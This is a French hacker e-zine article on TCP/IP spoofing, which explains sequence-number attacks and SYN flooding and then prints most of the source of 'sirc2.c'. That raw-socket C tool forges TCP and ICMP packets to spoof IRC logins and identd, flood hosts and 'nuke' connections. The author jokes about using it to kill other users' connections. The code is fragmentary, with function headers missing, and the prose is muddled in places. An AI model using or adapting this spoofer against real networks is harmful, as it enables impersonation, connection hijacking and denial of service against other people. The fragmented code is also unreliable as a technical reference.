Professional Documents
Culture Documents
- Un apercu du spoofing =
=-=-=-=-=-=-=-=-=-=-=-==-
Introduction
=-=-=-=-=-=-
Cet article est la suite de l'article sur TcPiP paru dans Noroute #1. Il
decrit quelques attaques en spoofing et fournit des exemples de code de
spoofers (et bien sur aussi tout ce qui va autour pour capter ce qui se passe
exactement).
Le probleme de TCP/IP
=-=-=-=-=-=-=-=-=-=-=
Une connection est donc definie par 4 parametres, un port source et un port
destination, ainsi qu'une machine source et une de destination. Quand une
connection se fait, les donnees sont envoyees dans des paquets. Les paquets
tiennent compte du trafic de bas niveau, et s'arrangent pour que les donnees
arrivent. Le principe de la plupart des reseaux sont IP protocol version 4.
Il est totalement independant de tous les protocoles hardware.
TCP et UDP sont les protocoles du plus haut niveau mis dans les paquets IP,
dans lesquels on trouve un header et des datas.
SEQ number: est compte octet par octet, et te donne le numero du prochain
octet a etre envoye ou ce qui a ete envoye dans ce paquet.
ACK number: c'est le nombre qui est espere etre recu de l'autre machine.
Deja pour etre plus rapide, on va dire NBS plutot que non-blind spoofing.
Le concept du NBS est assez simple. Comme les paquets voyagent (hehe oui je
suis poa le seul a bouger :>) quand tu atteinds une machine, tu peux
connaitre les numeros SEQ/ACK sur la connection.
NBS est une methode simple et efficace d'attaque, mais limitee aux
connections au dela de ton sous-reseau.
Dans les docs sur le spoofing, ce type d'attaque est parfois omis, peut-etre
car les gens ne connaissent pas l'avantage du spoof :)
SYN Flooding
------------
Voici un petit dessin et ensuite une petite explication :
machine A <-----][----------X--------------->machine B
|
machine S <-----------------/
machine A <------X------------------------->machine B
| A,B ont une connection TCP en cours
machine S <------/ A,S sont sur le meme sous reseau
Le principe est le meme, mais ca peut etre marrant de killer les lamers sur
la machine d'a cote ki trainent sur #france :)
1) Connection en cours
on attend un paquet pour recevoir le SEQ/ACK courant (A -> B)
2) C'est le ACK qui arrive + les donnes incluses (ce ki fait changer le SEQ,
et a foutu en l'air notre plan, car ca a ete tres rapide.)
3) ACK de A vers B
Quand ce signal est envoye, l'autre machine va toujours repondre avec un, si
le signal est accepte, donc on peut verifier que le kill a bien marche, et
il peut y avoir 100% de success.
Donc voila en bref comment ca se passe, maintenant voila les sources d'un
spoofer appele sirc2.c
int readsock,sendsock,debug=1;
unsigned short ipident;
typedef struct {
struct sockaddr_in from;
struct sockaddr_in dest;
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack;
} spoofrec;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum),
* we add sequential 16 bit words to it, and at the end, fold
* back all the carry bits from the top 16 bits into the lower
* 16 bits.
*/
while( nleft > 1 ) {
sum += *w++;
nleft -= 2;
}
/*
* add back carry outs from top 16 bits to low 16 bits
*/
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
bzero(sa,sizeof(struct sockaddr));
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = inet_addr(host);
if (inet_addr(host) == -1) {
ent = gethostbyname(host);
if (ent != NULL) {
sa->sin_family = ent->h_addrtype;
bcopy(ent->h_addr,(caddr_t)&sa->sin_addr,ent->h_length);
return(0);
} else {
fprintf(stderr,"error: unknown host %s\n",host);
return(-1);
}
}
return(0);
}
typedef struct {
unsigned char vh;
unsigned char stype;
unsigned short length;
unsigned short ident;
unsigned short frag;
unsigned char ttl;
unsigned char protocol;
unsigned short cksum;
struct in_addr sip;
struct in_addr dip;
} iprec;
typedef struct {
unsigned short sport;
unsigned short dport;
unsigned long seqnum;
unsigned long acknum;
unsigned short hrc;
unsigned short window;
unsigned short cksum;
unsigned short urgentptr;
} tcprec;
typedef struct {
struct in_addr sip;
struct in_addr dip;
unsigned char zero;
unsigned char proto;
unsigned short tcplen;
} tcpsrec;
typedef struct {
unsigned char type;
unsigned char code;
unsigned short cksum;
unsigned long zero;
iprec ip;
unsigned short sport;
unsigned short dport;
unsigned long seq;
} icmprec;
tcps=(tcpsrec *)buf;
tcps->sip=spoof->from.sin_addr;
tcps->dip=spoof->dest.sin_addr;
tcps->zero=0;
tcps->proto=6;
tcps->tcplen=htons(length);
memcpy(&buf[sizeof(tcpsrec)],(void *)b,length);
ip=(iprec *)buf;
icmp=(icmprec *)&buf[sizeof(iprec)];
ip->vh=0x45;
ip->stype=0;
ip->length=htons(sizeof(iprec)+20);
ip->ident=htons(ipident++);
ip->frag=0;
ip->ttl=64;
ip->protocol=1;
ip->cksum=0;
ip->sip=from->sin_addr;
ip->dip=spoof->dest.sin_addr;
ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
icmp->type=3;
icmp->code=code;
icmp->zero=0;
icmp->ip.vh=0x45;
icmp->ip.stype=0;
icmp->ip.length=htons(sizeof(iprec)+sizeof(tcprec));
icmp->ip.ident=htons(ipident++);
icmp->ip.frag=0;
icmp->ip.ttl=64;
icmp->ip.protocol=6;
icmp->ip.cksum=0;
icmp->ip.sip=spoof->dest.sin_addr;
icmp->ip.dip=spoof->from.sin_addr;
icmp->ip.cksum=in_cksum((unsigned short *)&icmp->ip,sizeof(iprec));
icmp->sport=htons(1234);
icmp->dport=htons(6667);
icmp->seq=htonl(1000000);
icmp->cksum=0;
icmp->cksum=in_cksum((unsigned short *)icmp,sizeof(icmprec));
void sendtcp(spoofrec *spoof, unsigned short code, char *data, short datalen,
short sn, short rep)
{
iprec *ip;
tcprec *tcp;
char buf[MAXSIZE];
short i,i1,hsize,tsize=0;
unsigned long ack;
bzero(buf,MAXSIZE);
ip=(iprec *)buf;
tcp=(tcprec *)&buf[sizeof(iprec)];
if (code & CF_SYN) {
hsize=6;
buf[sizeof(iprec)+20]=2;
buf[sizeof(iprec)+20+1]=4;
buf[sizeof(iprec)+20+2]=(MAXDATA>>8) & 0xFF;
buf[sizeof(iprec)+20+3]=(MAXDATA) & 0xFF;
spoof->seq++;
} else
hsize=5;
tsize=sizeof(iprec)+(hsize*4);
if (datalen) {
memcpy(&buf[tsize],data,datalen);
tsize+=datalen;
}
ip->vh=0x45;
ip->stype=0;
ip->length=htons(tsize);
ip->ident=htons(ipident++);
ip->frag=0;
ip->ttl=64;
ip->protocol=6;
ip->cksum=0;
ip->sip=spoof->from.sin_addr;
ip->dip=spoof->dest.sin_addr;
ip->cksum=in_cksum((unsigned short *)ip,sizeof(iprec));
ack=spoof->ack;
for (i=0;i<sn;i++) {
tcp->sport=spoof->sport;
tcp->dport=spoof->dport;
tcp->seqnum=htonl(spoof->seq);
tcp->acknum=htonl(ack);
tcp->hrc=(hsize<<4) + code;
if (code & CF_SYN)
tcp->window=htons(512);
else
tcp->window=htons(14360);
tcp->urgentptr=0;
tcp->cksum=0;
tcp->cksum=tcpcksum(spoof,(char *)tcp,tsize-sizeof(iprec));
ack+=64000;
for (i1=0;i1<rep;i1++) {
if (sendto(sendsock, (void *)buf, tsize, 0, &spoof->dest, sizeof(spoof-
>dest)) < 0)
perror("sending message");
}
}
spoof->seq+=datalen;
}
if ((numread=read(readsock,buf,MAXSIZE)) < 0) {
perror("reading from socket");
exit(1);
}
if ((buf[0]>>4) != 4) {
/* printf("Not IP packet\n"); */
return(0);
}
if (buf[9] != 6) {
/* printf("Not TCP packet\n"); */
return(0);
}
tcp=(tcprec *)&buf[20];
if (memcmp(&spoof->dest.sin_addr,&buf[12],4)!=0)
return(0);
if (argc<4) {
printf("Usage: %s <your ip> <dest ip> <port> [options]\n",argv[0]);
printf(" -i [<nickname> <username@host> <gecos info>] Log onto IRC\n");
printf(" -t <host>\t\tCreate's a telnet like connection\n");
printf(" -s <unreach host>\tTest's to see if the machine is SYN
floodable\n");
printf(" -w \t\tWait for identd port before continuing\n");
printf(" -d \t\tAttempt to spoof identd\n");
printf(" -f \t\tFlood the spoof'd IP\n");
printf(" -n <host>\t\tNuke the person from this host. your ip=irc
server\n\n");
printf(" If no options specified, then it will just test the machine to see if
it\n");
printf(" is ip spoofable\n\n");
printf("Note: IP's can be interchanged with a hostname\n");
printf("Note: Surround the gecos field with \" to preserve the spaces\n");
exit(1);
}
mode=0;
for (i=4;i<argc;i++) {
if ((argv[i][0]=='-') || (argv[i][0]=='/')) {
switch (toupper(argv[i][1])) {
case 'I':
mode=1;
nickname=argv[++i];
username=argv[++i];
spoofhost=strchr(username,'@');
if (!spoofhost) {
printf("Couldn't parse %s into user and host\n",username);
exit(1);
}
*(spoofhost++)=0;
gecos=argv[++i];
if (debug) {printf("Connecting to IRC as %s - %s@%s -
%s\n",nickname,username,spoofhost,gecos);}
break;
case 'T':
printf("Creating \"telnet\" connection\n");
spoofhost=argv[++i];
mode=2;
break;
case 'S':
printf("Testing host for SYN flood vulnerability\n");
spoofhost=argv[++i];
mode=3;
break;
case 'F':
noflood=0;
break;
case 'D':
spoofidentd=1;
break;
case 'W':
waitidentd=1;
break;
case 'N':
printf("Nuking host\n");
spoofhost=argv[++i];
mode=4;
break;
}
}
}
if (noflood) {
fromport=1024+getpid();
if (fromport<1024)
fromport+=1024;
} else
fromport=7;
if (!mode)
printf("Testing machine for IP spoofablity\n");
srand(time(NULL));
/* We'll resolve all of the hosts here so we won't get any delays when */
/* we need low latency on our side */
if (resolve_host(argv[1],&seqpred.from)<0)
exit(-1);
if (resolve_host(argv[2],&spoof.dest)<0)
exit(-1);
if (mode>0) {
if (resolve_host(spoofhost,&spoof.from)<0)
exit(-1);
if (resolve_host(UNREACHHOST,&flood.from)<0)
exit(1);
if (mode > 0) {
if (debug) {printf("From IP: %d.%d.%d.%d",
((unsigned char *)&spoof.from.sin_addr)[0],
((unsigned char *)&spoof.from.sin_addr)[1],
((unsigned char *)&spoof.from.sin_addr)[2],
((unsigned char *)&spoof.from.sin_addr)[3]);}
if ((lookup = gethostbyaddr((char
*)&spoof.from.sin_addr,sizeof(long),AF_INET)) != NULL) {if (debug) {printf(" -
%s",lookup->h_name);}}
if (debug) {printf("\n");}
}
/* Nuke host */
if (mode==4) {
for (i=0;i<10;i++)
for (i1=0;i1<4;i1++)
sendicmp(&seqpred,&spoof.from,i1);
exit(1);
}
/* We'll use the already made socket API to connect to the remote machine */
/* We do this because when we connect to the machine, it will auto- */
/* magically send out an identd request. We'll capture the source port */
/* when we're doing the seq # pred. */
if (spoofidentd) {
seqpred.dest.sin_port=htons(atoi(argv[3]));
if ((i=socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("Opening stream socket");
exit(1);
}
if (connect(i, &seqpred.dest, sizeof(seqpred.dest)) < 0) {
perror("Connecting stream socket");
exit(1);
}
close(i);
}
seqpred.dport=htons(atoi(argv[3]));
if (!mode) {
portbase=1000;
for (i=0;i<10;i++) {
seqpred.sport=htons(portbase+i);
sendtcp(&seqpred,CF_SYN,NULL,0,1,1);
sendtcp(&seqpred,CF_RST,NULL,0,1,1);
}
done=0;
lasttime=0;
while (!done) {
if (gettcp(&seqpred,&tcp)) {
if ((ntohs(tcp.dport)>=portbase) && (ntohs(tcp.dport)<=(portbase+10))) {
if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
printf("Connection refused\n");
exit(1);
}
if (lasttime)
printf("%d - %lu -
%lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum),ntohl(tcp.seqnum)-lasttime);
else
printf("%d - %lu\n",ntohs(tcp.dport),ntohl(tcp.seqnum));
lasttime=ntohl(tcp.seqnum);
}
}
}
exit(1);
}
if (ntohs(tcp.dport)==ntohs(seqpred.sport)) {
if ((tcp.hrc & CF_ACK) && (tcp.hrc & CF_RST)) {
printf("Connection refused\n");
exit(1);
}
seqpred.ack=ntohl(tcp.seqnum);
done=1;
}
}
}
spoof.dport=seqpred.dport;
spoof.sport=htons(fromport);
spoof.seq=seqpred.seq+128000;
spoof.ack=seqpred.ack+64000;
if (debug) {printf("ACK: %lu\n",spoof.ack);}
sendtcp(&spoof,CF_SYN,NULL,0,1,1);
sleep(1);
sendtcp(&spoof,CF_ACK,NULL,0,6,2);
/* Now comes the time to spoof the identd connection */
/* if ((iport) && (mode==1)) {*/
identd.from=spoof.from;
identd.dest=spoof.dest;
identd.sport=htons(113);
identd.seq=spoof.seq+128000;
if (debug) {printf("Beginning identd spoofing\n");}
for (i=0;i<25;i++) {
/* Setup some variables */
identd.dport=htons(iport+i+1);
identd.seq+=128000;
identd.ack=spoof.ack+64001;
/* sleep(1); */
/* sleep(1); */
sleep(1);
if (mode==1) {
sendstring(&spoof,"\n"); /* Send a blank line */
sprintf(s,"NICK %s\n",nickname);
sendstring(&spoof,s); /* Then the NICK */
if (debug) {printf("%s",s);}
sprintf(s,"USER %s nope nope :%s\n",username,gecos);
sendstring(&spoof,s); /* And then USER */
if (debug) {printf("%s",s);}
sprintf(s,"MODE %s +i\n",nickname);
sendstring(&spoof,s); /* And lastly the MODE */
if (debug) {printf("%s",s);}
if (!debug) {printf("Logging into irc server as: %s
(%s@%s)\n",nickname,username,spoofhost);}
}
done=0;
curpos=0;
while (!done) {
if (fread(&ch,sizeof(char),1,stdin)>0) {
s[curpos++]=ch;
if ((ch=='\r') || (ch=='\n')) {
s[curpos]=0;
sendstring(&spoof,s);
curpos=0;
}
}
}
close(sendsock);
close(readsock);
printf("\n");
}
[Note de hOtCodE: ptain, mais sirc3 est sorti! pffff! Si vous etes interesses,
il est sur la page du groupe <http://www.mygale.org/00/phe>]
Greetings
=-=-=-=-=
CoD4, mikasoft, LaRsEn, PiXel4, sd4, FfT, ByPaSS, HoTCoDe, tous ceux de
#banane, et tous les autres ke g oublie =) .................. cya